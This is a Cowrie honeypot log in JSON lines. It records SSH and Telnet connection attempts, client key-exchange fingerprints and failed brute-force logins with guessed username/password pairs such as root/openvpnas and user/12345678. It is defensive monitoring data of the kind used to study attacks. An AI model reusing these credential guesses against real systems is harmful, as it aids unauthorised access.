{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:52.159126Z","src_ip":"94.26.106.229","session":"ad35df9bd052","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:52.242564Z","src_ip":"94.26.106.229","session":"ad35df9bd052","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"openvpnas","message":"login attempt [root/openvpnas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:52.492689Z","src_ip":"94.26.106.229","session":"ad35df9bd052","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":57288,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1d01cdfbb56","protocol":"ssh","message":"New connection: 45.156.87.204:57288 (159.203.135.109:22) [session: e1d01cdfbb56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:52.939626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:52.948197Z","src_ip":"45.156.87.204","session":"e1d01cdfbb56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:53.031327Z","src_ip":"45.156.87.204","session":"e1d01cdfbb56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.158562660217285,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:53.117184Z","src_ip":"152.42.224.71","session":"61e965ec699f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234567","message":"login attempt [user1/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:53.304852Z","src_ip":"45.156.87.204","session":"e1d01cdfbb56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:53.577812Z","src_ip":"94.26.106.229","session":"ad35df9bd052","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":40622,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b10107a376b","protocol":"ssh","message":"New connection: 94.26.106.229:40622 (159.203.135.109:22) [session: 7b10107a376b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:54.257687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:54.262161Z","src_ip":"94.26.106.229","session":"7b10107a376b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:54.350720Z","src_ip":"94.26.106.229","session":"7b10107a376b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:54.495806Z","src_ip":"45.156.87.204","session":"e1d01cdfbb56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"Aa123456","message":"login attempt [ai/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:54.615989Z","src_ip":"94.26.106.229","session":"7b10107a376b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:55.088893Z","src_ip":"47.237.167.49","session":"92c86eb0a3c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:55.324132Z","src_ip":"47.237.167.49","session":"92c86eb0a3c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:55.707919Z","src_ip":"94.26.106.229","session":"7b10107a376b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":57292,"dst_ip":"159.203.135.109","dst_port":22,"session":"d00a22d1d772","protocol":"ssh","message":"New connection: 45.156.87.204:57292 (159.203.135.109:22) [session: d00a22d1d772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:56.213467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:56.218096Z","src_ip":"45.156.87.204","session":"d00a22d1d772","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:56.299921Z","src_ip":"45.156.87.204","session":"d00a22d1d772","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:56.556741Z","src_ip":"45.156.87.204","session":"d00a22d1d772","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":26488,"dst_ip":"159.203.135.109","dst_port":22,"session":"7242292ec0c9","protocol":"ssh","message":"New connection: 94.26.106.229:26488 (159.203.135.109:22) [session: 7242292ec0c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:56.561430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:56.569882Z","src_ip":"94.26.106.229","session":"7242292ec0c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:56.653555Z","src_ip":"94.26.106.229","session":"7242292ec0c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":40628,"dst_ip":"159.203.135.109","dst_port":22,"session":"7678c3c0f4bf","protocol":"ssh","message":"New connection: 94.26.106.229:40628 (159.203.135.109:22) [session: 7678c3c0f4bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:56.817733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:56.822881Z","src_ip":"94.26.106.229","session":"7678c3c0f4bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"arthur","message":"login attempt [arthur/arthur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:56.909405Z","src_ip":"94.26.106.229","session":"7242292ec0c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:56.914581Z","src_ip":"94.26.106.229","session":"7678c3c0f4bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"madhuri","password":"madhuri","message":"login attempt [madhuri/madhuri] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:57.177524Z","src_ip":"94.26.106.229","session":"7678c3c0f4bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:57.644940Z","src_ip":"45.156.87.204","session":"d00a22d1d772","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:57.995087Z","src_ip":"94.26.106.229","session":"7242292ec0c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:58.267051Z","src_ip":"94.26.106.229","session":"7678c3c0f4bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.978553771972656,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:58.275226Z","src_ip":"152.42.224.71","session":"85143d03234a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.86.117","src_port":49304,"dst_ip":"159.203.135.109","dst_port":22,"session":"553bc1236f5a","protocol":"ssh","message":"New connection: 43.128.86.117:49304 (159.203.135.109:22) [session: 553bc1236f5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:58.382876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:58.387017Z","src_ip":"43.128.86.117","session":"553bc1236f5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:58.624700Z","src_ip":"43.128.86.117","session":"553bc1236f5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":40640,"dst_ip":"159.203.135.109","dst_port":22,"session":"0436b5e17b95","protocol":"ssh","message":"New connection: 94.26.106.229:40640 (159.203.135.109:22) [session: 0436b5e17b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:58.920365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:58.924790Z","src_ip":"94.26.106.229","session":"0436b5e17b95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:59.007689Z","src_ip":"94.26.106.229","session":"0436b5e17b95","protocol":"ssh"}
